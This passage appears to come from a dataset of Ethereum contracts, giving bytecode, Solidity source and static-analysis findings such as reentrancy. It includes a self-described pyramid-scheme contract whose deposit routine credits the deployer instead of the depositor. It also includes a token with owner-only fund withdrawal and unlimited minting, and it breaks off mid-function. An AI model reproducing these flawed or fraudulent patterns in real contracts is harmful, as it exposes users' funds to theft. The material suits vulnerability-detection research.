0x608060405234801561001057600080fd5b50600436106100ff5760003560e01c806361d027b311610097578063c9fa8b2a11610066578063c9fa8b2a14610264578063e4fc6b6d14610281578063f79822431461029d578063fe3fbbad146102c9576100ff565b806361d027b3146101f1578063a15ad077146101f9578063a4b239801461021f578063bc3b2b1214610227576100ff565b8063508f1832116100d3578063508f1832146101a657806357d775f8146101ae5780635beede08146101b65780635db854b0146101c0576100ff565b8062640c2e146101045780630505c8c91461011e5780632e3405991461014257806336d33f4414610180575b600080fd5b61010c6102f5565b60408051918252519081900360200190f35b6101266102fb565b604080516001600160a01b039092168252519081900360200190f35b61015f6004803603602081101561015857600080fd5b503561030b565b604080519283526001600160a01b0390911660208301528051918290030190f35b61010c6004803603602081101561019657600080fd5b50356001600160a01b0316610342565b6101266103c5565b61010c6103e9565b6101be61040d565b005b6101be600480360360808110156101d657600080fd5b50803590602081013515159060408101359060600135610485565b610126610519565b6101be6004803603602081101561020f57600080fd5b50356001600160a01b031661053d565b6101be6105f1565b6102446004803603602081101561023d57600080fd5b5035610688565b604080519315158452602084019290925282820152519081900360600190f35b61010c6004803603602081101561027a57600080fd5b50356106ad565b610289610751565b604080519115158252519081900360200190f35b6101be600480360360408110156102b357600080fd5b506001600160a01b0381351690602001356108b2565b6101be600480360360408110156102df57600080fd5b50803590602001356001600160a01b03166109a7565b60025481565b6000546001600160a01b03165b90565b6004818154811061031b57600080fd5b6000918252602090912060029091020180546001909101549091506001600160a01b031682565b60008060005b6004548110156103be57836001600160a01b03166004828154811061036957fe5b60009182526020909120600160029092020101546001600160a01b031614156103b6576103b36004828154811061039c57fe5b9060005260206000209060020201600001546106ad565b91505b600101610348565b5092915050565b7f00000000000000000000000036f17bd0f7028c784b2e0c9b5a65dbe071a902d781565b7f000000000000000000000000000000000000000000000000000000000000089881565b6001546001600160a01b0316331461042457600080fd5b600154600080546040516001600160a01b0393841693909116917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600154600080546001600160a01b0319166001600160a01b03909216919091179055565b6000546001600160a01b031633146104d2576040805162461bcd60e51b81526020600482018190526024820152600080516020610e9b833981519152604482015290519081900360640190fd5b60408051606081018252931515845260208085019384528482019283526000958652600390529093209151825460ff19169015151782555160018201559051600290910155565b7f000000000000000000000000f6b7ea4d234c545f061ff6d5a1a3d447ea8d8a4681565b6000546001600160a01b0316331461058a576040805162461bcd60e51b81526020600482018190526024820152600080516020610e9b833981519152604482015290519081900360640190fd5b6001600160a01b0381166105cf5760405162461bcd60e51b8152600401808060200182810382526026815260200180610e546026913960400191505060405180910390fd5b600180546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160a01b0316331461063e576040805162461bcd60e51b81526020600482018190526024820152600080516020610e9b833981519152604482015290519081900360640190fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b60036020526000908152604090208054600182015460029092015460ff909116919083565b600061074b620f4240610745847f00000000000000000000000036f17bd0f7028c784b2e0c9b5a65dbe071a902d76001600160a01b03166318160ddd6040518163ffffffff1660e01b815260040160206040518083038186803b15801561071357600080fd5b505afa158015610727573d6000803e3d6000fd5b505050506040513d602081101561073d57600080fd5b505190610a94565b90610af4565b92915050565b600043600254116108aa57600254610789907f0000000000000000000000000000000000000000000000000000000000000898610b36565b60025560005b6004548110156108a0576000600482815481106107a857fe5b9060005260206000209060020201600001541115610898577f000000000000000000000000f6b7ea4d234c545f061ff6d5a1a3d447ea8d8a466001600160a01b0316636a20de92600483815481106107fc57fe5b906000526020600020906002020160010160009054906101000a90046001600160a01b03166108316004858154811061039c57fe5b6040518363ffffffff1660e01b815260040180836001600160a01b0316815260200182815260200192505050600060405180830381600087803b15801561087757600080fd5b505af115801561088b573d6000803e3d6000fd5b5050505061089881610b90565b60010161078f565b5060019050610308565b506000610308565b6000546001600160a01b031633146108ff576040805162461bcd60e51b81526020600482018190526024820152600080516020610e9b833981519152604482015290519081900360640190fd5b6001600160a01b03821661091257600080fd5b604080518082019091529081526001600160a01b03918216602082019081526004805460018101825560009190915291517f8a35acfbc15ff81a39ae7d344fd709f28e8600b4aa8c65c6b64bfe7fe36bd19b600290930292830155517f8a35acfbc15ff81a39ae7d344fd709f28e8600b4aa8c65c6b64bfe7fe36bd19c90910180546001600160a01b03191691909216179055565b6000546001600160a01b031633146109f4576040805162461bcd60e51b81526020600482018190526024820152600080516020610e9b833981519152604482015290519081900360640190fd5b60048281548110610a0157fe5b60009182526020909120600160029092020101546001600160a01b03828116911614610a2c57600080fd5b600060048381548110610a3b57fe5b906000526020600020906002020160010160006101000a8154816001600160a01b0302191690836001600160a01b03160217905550600060048381548110610a7f57fe5b60009182526020909120600290910201555050565b600082610aa35750600061074b565b82820282848281610ab057fe5b0414610aed5760405162461bcd60e51b8152600401808060200182810382526021815260200180610e7a6021913960400191505060405180910390fd5b9392505050565b6000610aed83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250610cf7565b600082820183811015610aed576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b610b98610e30565b506000818152600360209081526040918290208251606081018452815460ff161515815260018201549281018390526002909101549281019290925215610cf357805115610c6c57610c0c816020015160048481548110610bf557fe5b600091825260209091206002909102015490610b36565b60048381548110610c1957fe5b600091825260209091206002909102015560408101516004805484908110610c3d57fe5b90600052602060002090600202016000015410610c67576000828152600360205260408120600101555b610cf3565b610c98816020015160048481548110610c8157fe5b600091825260209091206002909102015490610d99565b60048381548110610ca557fe5b600091825260209091206002909102015560408101516004805484908110610cc957fe5b90600052602060002090600202016000015411610cf3576000828152600360205260408120600101555b5050565b60008183610d835760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610d48578181015183820152602001610d30565b50505050905090810190601f168015610d755780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b506000838581610d8f57fe5b0495945050505050565b6000610aed83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525060008184841115610e285760405162461bcd60e51b8152602060048201818152835160248401528351909283926044909101919085019080838360008315610d48578181015183820152602001610d30565b505050900390565b60405180606001604052806000151581526020016000815260200160008152509056fe4f776e61626c653a206e6577206f776e657220697320746865207a65726f2061646472657373536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f774f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572a2646970667358221220ad6e9a59f73d7dcf8746ca3170eaa475902a8c4a9722cb1569bf6084c63f9dcb64736f6c63430007050033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}}
7,479
0x9ef66248f21f032d4aefd421693126044605bd17
pragma solidity 0.4.23; /* * ATTENTION! * * This code? IS NOT DESIGNED FOR ACTUAL USE. * * The author of this code really wishes you wouldn't send your ETH to it. * * No, seriously. It's probablly illegal anyway. So don't do it. * * Let me repeat that: Don't actually send money to this contract. You are * likely breaking several local and national laws in doing so. * * This code is intended to educate. Nothing else. If you use it, expect S.W.A.T * teams at your door. I wrote this code because I wanted to experiment * with smart contracts, and I think code should be open source. So consider * it public domain, No Rights Reserved. Participating in pyramid schemes * is genuinely illegal so just don't even think about going beyond * reading the code and understanding how it works. * * Seriously. I'm not kidding. It's probablly broken in some critical way anyway * and will suck all your money out your wallet, install a virus on your computer * sleep with your wife, kidnap your children and sell them into slavery, * make you forget to file your taxes, and give you cancer. * * So.... tl;dr: This contract sucks, don't send money to it. * * What it does: * * It takes 50% of the ETH in it and buys tokens. * It takes 50% of the ETH in it and pays back depositors. * Depositors get in line and are paid out in order of deposit, plus the deposit * percent. * The tokens collect dividends, which in turn pay into the payout pool * to be split 50/50. * * If your seeing this contract in it's initial configuration, it should be * set to 200% (double deposits), and pointed at POTJ: * 0xC28E860C9132D55A184F9af53FC85e90Aa3A0153 * * But you should verify this for yourself. * * */ contract ERC20Interface { function transfer(address to, uint256 tokens) public returns (bool success); } contract POTJ { function buy(address) public payable returns(uint256); function withdraw() public; function myTokens() public view returns(uint256); function myDividends(bool) public view returns(uint256); } contract Owned { address public owner; address public ownerCandidate; function Owned() public { owner = msg.sender; } modifier onlyOwner { require(msg.sender == owner); _; } function changeOwner(address _newOwner) public onlyOwner { ownerCandidate = _newOwner; } function acceptOwnership() public { require(msg.sender == ownerCandidate); owner = ownerCandidate; } } contract IronHands is Owned { /** * Modifiers */ /** * Only owners are allowed. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * The tokens can never be stolen. */ modifier notPotj(address aContract) { require(aContract != address(potj)); _; } /** * Events */ event Deposit(uint256 amount, address depositer); event Purchase(uint256 amountSpent, uint256 tokensReceived); event Payout(uint256 amount, address creditor); event Dividends(uint256 amount); event ContinuityBreak(uint256 position, address skipped, uint256 amount); event ContinuityAppeal(uint256 oldPosition, uint256 newPosition, address appealer); /** * Structs */ struct Participant { address etherAddress; uint256 payout; } //Total ETH managed over the lifetime of the contract uint256 throughput; //Total ETH received from dividends uint256 dividends; //The percent to return to depositers. 100 for 00%, 200 to double, etc. uint256 public multiplier; //Where in the line we are with creditors uint256 public payoutOrder = 0; //How much is owed to people uint256 public backlog = 0; //The creditor line Participant[] public participants; //How much each person is owed mapping(address => uint256) public creditRemaining; //What we will be buying POTJ potj; address sender; /** * Constructor */ function IronHands(uint multiplierPercent, address potjAddress) public { multiplier = multiplierPercent; potj = POTJ(potjAddress); sender = msg.sender; } /** * Fallback function allows anyone to send money for the cost of gas which * goes into the pool. Used by withdraw/dividend payouts so it has to be cheap. */ function() payable public { if (msg.sender != address(potj)) { deposit(); } } /** * Deposit ETH to get in line to be credited back the multiplier as a percent, * add that ETH to the pool, get the dividends and put them in the pool, * then pay out who we owe and buy more tokens. */ function deposit() payable public { //You have to send more than 1000000 wei. require(msg.value > 1000000); //Compute how much to pay them uint256 amountCredited = (msg.value * multiplier) / 100; //Get in line to be paid back. participants.push(Participant(sender, amountCredited)); //Increase the backlog by the amount owed backlog += amountCredited; //Increase the amount owed to this address creditRemaining[sender] += amountCredited; //Emit a deposit event. emit Deposit(msg.value, sender); //If I have dividends if(myDividends() > 0){ //Withdraw dividends withdraw(); } //Pay people out and buy more tokens. payout(); } /** * Take 50% of the money and spend it on tokens, which will pay dividends later. * Take the other 50%, and use it to pay off depositors. */ function payout() public { //Take everything in the pool uint balance = address(this).balance; //It needs to be something worth splitting up require(balance > 1); //Increase our total throughput throughput += balance; //Split it into two parts uint investment = balance / 2 ether + 1 szabo; // avoid rounding issues //Take away the amount we are investing from the amount to send balance -= investment; //Invest it in more tokens. uint256 tokens = potj.buy.value(investment).gas(1000000)(msg.sender); //Record that tokens were purchased emit Purchase(investment, tokens); //While we still have money to send while (balance > 0) { //Either pay them what they are owed or however much we have, whichever is lower. uint payoutToSend = balance < participants[payoutOrder].payout ? balance : participants[payoutOrder].payout; //if we have something to pay them if(payoutToSend > 0) { //subtract how much we've spent balance -= payoutToSend; //subtract the amount paid from the amount owed backlog -= payoutToSend; //subtract the amount remaining they are owed creditRemaining[participants[payoutOrder].etherAddress] -= payoutToSend; //credit their account the amount they are being paid participants[payoutOrder].payout -= payoutToSend; //Try and pay them, making best effort. But if we fail? Run out of gas? That's not our problem any more. if(participants[payoutOrder].etherAddress.call.value(payoutToSend).gas(1000000)()) { //Record that they were paid emit Payout(payoutToSend, participants[payoutOrder].etherAddress); } else { //undo the accounting, they are being skipped because they are not payable. balance += payoutToSend; backlog += payoutToSend; creditRemaining[participants[payoutOrder].etherAddress] += payoutToSend; participants[payoutOrder].payout += payoutToSend; } } //If we still have balance left over if(balance > 0) { // go to the next person in line payoutOrder += 1; } //If we've run out of people to pay, stop if(payoutOrder >= participants.length) { return; } } } /** * Number of tokens the contract owns. */ function myTokens() public view returns(uint256) { return potj.myTokens(); } /** * Number of dividends owed to the contract. */ function myDividends() public view returns(uint256) { return potj.myDividends(true); } /** * Number of dividends received by the contract. */ function totalDividends() public view returns(uint256) { return dividends; } /** * Request dividends be paid out and added to the pool. */ function withdraw() public { uint256 balance = address(this).balance; potj.withdraw.gas(1000000)(); uint256 dividendsPaid = address(this).balance - balance; dividends += dividendsPaid; emit Dividends(dividendsPaid); } /** * Number of participants who are still owed. */ function backlogLength() public view returns (uint256) { return participants.length - payoutOrder; } /** * Total amount still owed in credit to depositors. */ function backlogAmount() public view returns (uint256) { return backlog; } /** * Total number of deposits in the lifetime of the contract. */ function totalParticipants() public view returns (uint256) { return participants.length; } /** * Total amount of ETH that the contract has delt with so far. */ function totalSpent() public view returns (uint256) { return throughput; } /** * Amount still owed to an individual address */ function amountOwed(address anAddress) public view returns (uint256) { return creditRemaining[anAddress]; } /** * Amount owed to this person. */ function amountIAmOwed() public view returns (uint256) { return amountOwed(msg.sender); } /** * A trap door for when someone sends tokens other than the intended ones so the overseers can decide where to send them. */ function transferAnyERC20Token(address tokenAddress, address tokenOwner, uint tokens) public onlyOwner notPotj(tokenAddress) returns (bool success) { return ERC20Interface(tokenAddress).transfer(tokenOwner, tokens); } }
0x608060405260043610610128576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff1680630a44b9cf1461018a5780631b3ed722146101b55780633151ecfc146101e057806335c1d3491461020b57806339af05131461027f5780633ccfd60b146102aa5780633febb070146102c15780635f504a82146102ec57806363bd1d4a146103435780636cff6f9d1461035a57806379ba5097146103855780638da5cb5b1461039c578063949e8acd146103f3578063997664d71461041e578063a0ca0a5714610449578063a26dbf2614610474578063a6f9dae11461049f578063d0e30db0146104e2578063d493b9ac146104ec578063e5cf229714610571578063fb346eab146105c8578063ff5d18ca146105f3575b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156101885761018761064a565b5b005b34801561019657600080fd5b5061019f61086e565b6040518082815260200191505060405180910390f35b3480156101c157600080fd5b506101ca61087e565b6040518082815260200191505060405180910390f35b3480156101ec57600080fd5b506101f5610884565b6040518082815260200191505060405180910390f35b34801561021757600080fd5b506102366004803603810190808035906020019092919050505061095c565b604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390f35b34801561028b57600080fd5b506102946109af565b6040518082815260200191505060405180910390f35b3480156102b657600080fd5b506102bf6109b5565b005b3480156102cd57600080fd5b506102d6610adc565b6040518082815260200191505060405180910390f35b3480156102f857600080fd5b50610301610ae6565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561034f57600080fd5b50610358610b0c565b005b34801561036657600080fd5b5061036f611026565b6040518082815260200191505060405180910390f35b34801561039157600080fd5b5061039a61102c565b005b3480156103a857600080fd5b506103b16110ec565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156103ff57600080fd5b50610408611111565b6040518082815260200191505060405180910390f35b34801561042a57600080fd5b506104336111d9565b6040518082815260200191505060405180910390f35b34801561045557600080fd5b5061045e6111e3565b6040518082815260200191505060405180910390f35b34801561048057600080fd5b506104896111f4565b6040518082815260200191505060405180910390f35b3480156104ab57600080fd5b506104e0600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611201565b005b6104ea61064a565b005b3480156104f857600080fd5b50610557600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506112a0565b604051808215151515815260200191505060405180910390f35b34801561057d57600080fd5b506105b2600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611443565b6040518082815260200191505060405180910390f35b3480156105d457600080fd5b506105dd61148c565b6040518082815260200191505060405180910390f35b3480156105ff57600080fd5b50610634600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611496565b6040518082815260200191505060405180910390f35b6000620f42403411151561065d57600080fd5b6064600454340281151561066d57fe5b04905060076040805190810160405280600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001838152509080600181540180825580915050906001820390600052602060002090600202016000909192909190915060008201518160000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060208201518160010155505050806006600082825401925050819055508060086000600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055507f4bcc17093cdf51079c755de089be5a85e70fa374ec656c194480fbdcda224a5334600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16604051808381526020018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019250505060405180910390a16000610854610884565b1115610863576108626109b5565b5b61086b610b0c565b50565b600061087933611443565b905090565b60045481565b6000600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663688abbf760016040518263ffffffff167c01000000000000000000000000000000000000000000000000000000000281526004018082151515158152602001915050602060405180830381600087803b15801561091c57600080fd5b505af1158015610930573d6000803e3d6000fd5b505050506040513d602081101561094657600080fd5b8101908080519060200190929190505050905090565b60078181548110151561096b57fe5b90600052602060002090600202016000915090508060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16908060010154905082565b60065481565b6000803073ffffffffffffffffffffffffffffffffffffffff16319150600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16633ccfd60b620f42406040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401600060405180830381600088803b158015610a5c57600080fd5b5087f1158015610a70573d6000803e3d6000fd5b5050505050813073ffffffffffffffffffffffffffffffffffffffff1631039050806003600082825401925050819055507fd7cefab74b4b11d01e168f9d1e2a28e7bf8263c3acf9b9fdb802fa666a49455b816040518082815260200191505060405180910390a15050565b6000600654905090565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000806000803073ffffffffffffffffffffffffffffffffffffffff16319350600184111515610b3b57600080fd5b8360026000828254019250508190555064e8d4a51000671bc16d674ec8000085811515610b6457fe5b040192508284039350600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f088d54784620f424090336040518463ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019150506020604051808303818589803b158015610c2f57600080fd5b5088f1158015610c43573d6000803e3d6000fd5b5050505050506040513d6020811015610c5b57600080fd5b810190808051906020019092919050505091507f350df6fcc944b226b77efc36902e19b43c566d75173622086e809d46dfbc22208383604051808381526020018281526020019250505060405180910390a15b600084111561101f576007600554815481101515610cc857fe5b9060005260206000209060020201600101548410610d08576007600554815481101515610cf157fe5b906000526020600020906002020160010154610d0a565b835b90506000811115610fea5780840393508060066000828254039250508190555080600860006007600554815481101515610d4057fe5b906000526020600020906002020160000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540392505081905550806007600554815481101515610dcb57fe5b9060005260206000209060020201600101600082825403925050819055506007600554815481101515610dfa57fe5b906000526020600020906002020160000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681620f424090604051600060405180830381858888f1935050505015610f14577f9b5d1a613fa5f0790b36b13103706e31fca06b229d87e9915b29fc20c1d76490816007600554815481101515610e9557fe5b906000526020600020906002020160000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16604051808381526020018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019250505060405180910390a1610fe9565b80840193508060066000828254019250508190555080600860006007600554815481101515610f3f57fe5b906000526020600020906002020160000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540192505081905550806007600554815481101515610fca57fe5b9060005260206000209060020201600101600082825401925050819055505b5b60008411156110055760016005600082825401925050819055505b60078054905060055410151561101a57611020565b610cae565b5b50505050565b60055481565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561108857600080fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663949e8acd6040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401602060405180830381600087803b15801561119957600080fd5b505af11580156111ad573d6000803e3d6000fd5b505050506040513d60208110156111c357600080fd5b8101908080519060200190929190505050905090565b6000600354905090565b600060055460078054905003905090565b6000600780549050905090565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561125c57600080fd5b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156112fd57600080fd5b83600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415151561135b57600080fd5b8473ffffffffffffffffffffffffffffffffffffffff1663a9059cbb85856040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1580156113fe57600080fd5b505af1158015611412573d6000803e3d6000fd5b505050506040513d602081101561142857600080fd5b81019080805190602001909291905050509150509392505050565b6000600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000600254905090565b600860205280600052604060002060009150905054815600a165627a7a723058207e7b71f20a20737f90e9a228f471b66607a85f0bcba2436ad931a60012397f5a0029
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "controlled-array-length", "impact": "High", "confidence": "Medium"}]}}
7,480
0x0c47f8017b0d18244693c497d05aa1bc0913ffbd
pragma solidity ^0.4.24; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn&#39;t hold return a / b; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } contract ForeignToken { function balanceOf(address _owner) constant public returns (uint256); function transfer(address _to, uint256 _value) public returns (bool); } contract ERC20Basic { uint256 public totalSupply; function balanceOf(address who) public constant returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public constant returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } contract SyncBall is ERC20 { using SafeMath for uint256; address owner = msg.sender; mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; mapping (address => bool) public Claimed; string public constant name = "SyncBall"; string public constant symbol = "SCB"; uint public constant decimals = 8; uint public deadline = now + 37 * 1 days; uint public round2 = now + 32 * 1 days; uint public round1 = now + 22 * 1 days; uint256 public totalSupply = 7000000000e8; uint256 public totalDistributed; uint256 public constant requestMinimum = 1 ether / 100; // 0.01 Ether uint256 public tokensPerEth = 10000000e8; uint public target0drop = 3000; uint public progress0drop = 0; event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); event Distr(address indexed to, uint256 amount); event DistrFinished(); event Airdrop(address indexed _owner, uint _amount, uint _balance); event TokensPerEthUpdated(uint _tokensPerEth); event Burn(address indexed burner, uint256 value); event Add(uint256 value); bool public distributionFinished = false; modifier canDistr() { require(!distributionFinished); _; } modifier onlyOwner() { require(msg.sender == owner); _; } constructor() public { uint256 teamFund = 3650000000e8; owner = msg.sender; distr(owner, teamFund); } function transferOwnership(address newOwner) onlyOwner public { if (newOwner != address(0)) { owner = newOwner; } } function finishDistribution() onlyOwner canDistr public returns (bool) { distributionFinished = true; emit DistrFinished(); return true; } function distr(address _to, uint256 _amount) canDistr private returns (bool) { totalDistributed = totalDistributed.add(_amount); balances[_to] = balances[_to].add(_amount); emit Distr(_to, _amount); emit Transfer(address(0), _to, _amount); return true; } function Distribute(address _participant, uint _amount) onlyOwner internal { require( _amount > 0 ); require( totalDistributed < totalSupply ); balances[_participant] = balances[_participant].add(_amount); totalDistributed = totalDistributed.add(_amount); if (totalDistributed >= totalSupply) { distributionFinished = true; } // log emit Airdrop(_participant, _amount, balances[_participant]); emit Transfer(address(0), _participant, _amount); } function DistributeAirdrop(address _participant, uint _amount) onlyOwner external { Distribute(_participant, _amount); } function DistributeAirdropMultiple(address[] _addresses, uint _amount) onlyOwner external { for (uint i = 0; i < _addresses.length; i++) Distribute(_addresses[i], _amount); } function updateTokensPerEth(uint _tokensPerEth) public onlyOwner { tokensPerEth = _tokensPerEth; emit TokensPerEthUpdated(_tokensPerEth); } function () external payable { getTokens(); } function getTokens() payable canDistr public { uint256 tokens = 0; uint256 bonus = 0; uint256 countbonus = 0; uint256 bonusCond1 = 1 ether / 10; uint256 bonusCond2 = 1 ether / 2; uint256 bonusCond3 = 1 ether; tokens = tokensPerEth.mul(msg.value) / 1 ether; address investor = msg.sender; if (msg.value >= requestMinimum && now < deadline && now < round1 && now < round2) { if(msg.value >= bonusCond1 && msg.value < bonusCond2){ countbonus = tokens * 0 / 100; }else if(msg.value >= bonusCond2 && msg.value < bonusCond3){ countbonus = tokens * 0 / 100; }else if(msg.value >= bonusCond3){ countbonus = tokens * 1 / 100; } }else if(msg.value >= requestMinimum && now < deadline && now > round1 && now < round2){ if(msg.value >= bonusCond2 && msg.value < bonusCond3){ countbonus = tokens * 0 / 100; }else if(msg.value >= bonusCond3){ countbonus = tokens * 0 / 100; } }else{ countbonus = 0; } bonus = tokens + countbonus; if (tokens == 0) { uint256 valdrop = 15000e8; if (Claimed[investor] == false && progress0drop <= target0drop ) { distr(investor, valdrop); Claimed[investor] = true; progress0drop++; }else{ require( msg.value >= requestMinimum ); } }else if(tokens > 0 && msg.value >= requestMinimum){ if( now >= deadline && now >= round1 && now < round2){ distr(investor, tokens); }else{ if(msg.value >= bonusCond1){ distr(investor, bonus); }else{ distr(investor, tokens); } } }else{ require( msg.value >= requestMinimum ); } if (totalDistributed >= totalSupply) { distributionFinished = true; } } function balanceOf(address _owner) constant public returns (uint256) { return balances[_owner]; } modifier onlyPayloadSize(uint size) { assert(msg.data.length >= size + 4); _; } function transfer(address _to, uint256 _amount) onlyPayloadSize(2 * 32) public returns (bool success) { require(_to != address(0)); require(_amount <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_amount); balances[_to] = balances[_to].add(_amount); emit Transfer(msg.sender, _to, _amount); return true; } function transferFrom(address _from, address _to, uint256 _amount) onlyPayloadSize(3 * 32) public returns (bool success) { require(_to != address(0)); require(_amount <= balances[_from]); require(_amount <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_amount); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_amount); balances[_to] = balances[_to].add(_amount); emit Transfer(_from, _to, _amount); return true; } function approve(address _spender, uint256 _value) public returns (bool success) { if (_value != 0 && allowed[msg.sender][_spender] != 0) { return false; } allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant public returns (uint256) { return allowed[_owner][_spender]; } function getTokenBalance(address tokenAddress, address who) constant public returns (uint){ ForeignToken t = ForeignToken(tokenAddress); uint bal = t.balanceOf(who); return bal; } function withdrawAll() onlyOwner public { address myAddress = this; uint256 etherBalance = myAddress.balance; owner.transfer(etherBalance); } function withdraw(uint256 _wdamount) onlyOwner public { uint256 wantAmount = _wdamount; owner.transfer(wantAmount); } function burn(uint256 _value) onlyOwner public { require(_value <= balances[msg.sender]); address burner = msg.sender; balances[burner] = balances[burner].sub(_value); totalSupply = totalSupply.sub(_value); totalDistributed = totalDistributed.sub(_value); emit Burn(burner, _value); } function add(uint256 _value) onlyOwner public { uint256 counter = totalSupply.add(_value); totalSupply = counter; emit Add(_value); } function withdrawForeignTokens(address _tokenContract) onlyOwner public 